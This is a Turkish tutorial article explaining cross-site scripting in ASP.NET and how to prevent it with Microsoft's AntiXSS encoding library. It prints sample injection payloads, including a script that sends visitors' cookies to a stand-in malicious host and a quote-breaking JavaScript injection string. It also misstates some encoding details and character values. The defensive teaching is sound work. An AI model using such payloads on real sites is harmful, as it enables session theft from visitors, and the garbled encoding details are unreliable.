Makale Özeti

Kullanıcıdan alınan bilgi olduğu gibi veritabanına kaydediliyorsa ve aynı şekilde veritabanındanda istemciye gönderiliyorsa kötü niyetli kodların istemci tarafından çalıştırılması muhtemeldir.

Makale

Kullanıcıdan alınan bilgi olduğu gibi veritabanına kaydediliyorsa ve aynı şekilde veritabanındanda istemciye gönderiliyorsa kötü niyetli kodların istemci tarafından çalıştırılması muhtemeldir.

 

Örneğin bir ziyaretçi defteri doldururken mesaj kısmına 

<script> location.href= ‘http://www.google.com’;</script>

Gibi bir bilgi girilirse ve herhangi bir kontrol olmadan bu siteyi ziyaret eden kullanıcılara bu bilgi gönderilirse, ziyaretçiler karşılarında sizin sitenizi değil, Google’ı göreceklerdir.

 

Ziyaretçilerin tarayıcılarında çalıştırılan bir javascript kodu ziyaretçiniz hakkındaki Session bilgilerinin de çalınmasına sebep olabilir. 

<script>
document.location='http://www.kotuniyetlisite.com/yaz.aspx?a='+document.cookie
</script>

 Şeklinde girilen bir script sitenizi ziyaret eden her kullanıcının Session bilgilerini saldırganın sitesine gönderir. Bundan sonrası saldırganın tercihne kalmış. Session bilgilerini kendine mail atabilir yada kendi veritabanına kaydebilir.

ASP.NET programcıları bu konuda diğer web geliştiricilerinden biraz daha şanslı. Çünkü, “<” ve “>” karakterleri içinde gelen bilgi “Potansiyel Tehlikeli Bilgi” olarak algılanır ve sistem hata verir.

Ancak günümüz de sık geliştirilen “İçerik Yönetim Sistem” leri “FCK Editor” gibi html kodu üreten WYSWYG* editörleri kullanmakta. 

 

Bu da ASP.NET programcısının “Fck Editor” kullandığı sayfasının başına ValidateRequest="false" gibi bir kodu eklemesine sebep veriyor.  Bu da XSS saldırıları için bir davet anlamına gelir.

 

Buraya kadar verdiğimiz örnekler HTML kodları arasına sızan tekniklerdi.

 

Kullanıcıdan alınan bilgi ile oluşturulabilecek JavaScript, VBScript, XML de bu tehlikelere maruz kalabilir.

 

Javascript için basit bir örnek verelim.

 

Default.aspx dosyamızda bulunan Javascript :  

<script type="text/javascript" >
        alert('Merhaba’ + ‘<asp:Literal runat="server" id="ltAd" />');
</script> 

 Default.aspx.cs dosyasından gönderilen bilgi : 

ltAd.Text = "Selçuk";

Sayfa çalıştırıldığında “Merhaba Selçuk” şeklinde bir MessageBox çıkıyor.

“Selçuk” değerinin veritabanından geldiğini farzedelim. Eğer veritabanından gelen şöyle bir şey olursa : 

ltAd.Text = " ' location.href='http://www.google.com'; alert('a";

Sayfamız derlendiğinde ortaya çıkan Javascript kodunu inceleyelim :  

<script type="text/javascript" >
alert('Merhaba '); location.href='http://www.google.com'; alert('a');
</script>

 Ziyaretçi “Merhaba” şeklinde bir MessageBox görür ve kendini yine Google da bulur.  

Bu konuda örnekler çoğaltılabilir. Biz şimdi alacağımız önlemlere geçelim.

Bunun için “Microsoft Anti-Cross Site Scripting Library” kütüphanesini kullanacağız.

http://www.microsoft.com/downloads/details.aspx?FamilyId=EFB9C819-53FF-4F82-BFAF-E11625130C25&displaylang=en adresinden temin edebileceğiniz AntiXSSLibrary.dll i projemize dahil ediyoruz.

 

Microsoft.Application.Security.AntiXSS namespace’inden ulaşabileceğimiz 7 adet static metot ile XSS saldırıların önüne geçebiliriz.

 

Bu metotlar :

 

  • HtmlEncode
  • HtmlAttributeEncode
  • JavaScriptEncode
  • UrlEncode
  • VisualBasicScriptEncode
  • XmlEncode
  • XmlAttributeEncode

 

Yukarıda verdiğimiz örneklerden Javascript için

ltAd.Text = "');  location.href='http://www.google.com'; alert('a");

yerine 

using Microsoft.Security.Application.AntiXss;

...

ltAd.Text = 
JavaScriptEncode("'); location.href='http://www.google.com'; alert('a");

Şeklinde kullandığımızda bir ziyaretçilerimiz bir zarar görmeyecektir.

Sayfamızı derledikten sonra oluşan Javascript kodumuzu inceleyelim : 

<script type="text/javascript" >
        alert('Merhaba '\x27\x29\x3b 
location.href\x3d\x27http\x3a\x2f\x2fwww.google.com\x27\x3b
alert\x28\x27a'
); </script>

Görüldüğü gibi “)“ işareti \x27 ye , “;” işareti \x29 a ve diğer zararlı karakterlerde Javascript’in karşılıklarına çevrilmiş. Bu kodlar çalıştırılamaz ama aynı karaktersel değerleini korurlar.

Örneğin 

ltAd.Text = Microsoft.Security.Application.AntiXss.JavaScriptEncode("Selçuk");
Şeklinde bir kullanımda ekranda “Selçuk” yazar ancak kaynak kodunda “ç” karakteri  \u00e7 olarak kodlanmıştır.

 

Bunun sebebi ise AntiXSS kütüphanesinin belli başlı karakterleri encode eder.  Bunlar büyüktür “<” , küçüktür “>” , ampersand “&” ,  çift tırnak “"” ve ascii değeri 160-255 arası olan karakterlerdir.

 

“ç”  harfi ascii tablosunda bulunmuyor ancak unicode değer olan 351’in Hexadecimal eşiti 00e7 dir. Dolayısıyla Javascript’tin ç harfini \u00e7 olarak tanır.

 

 * What You See What You Get

  

Kaynak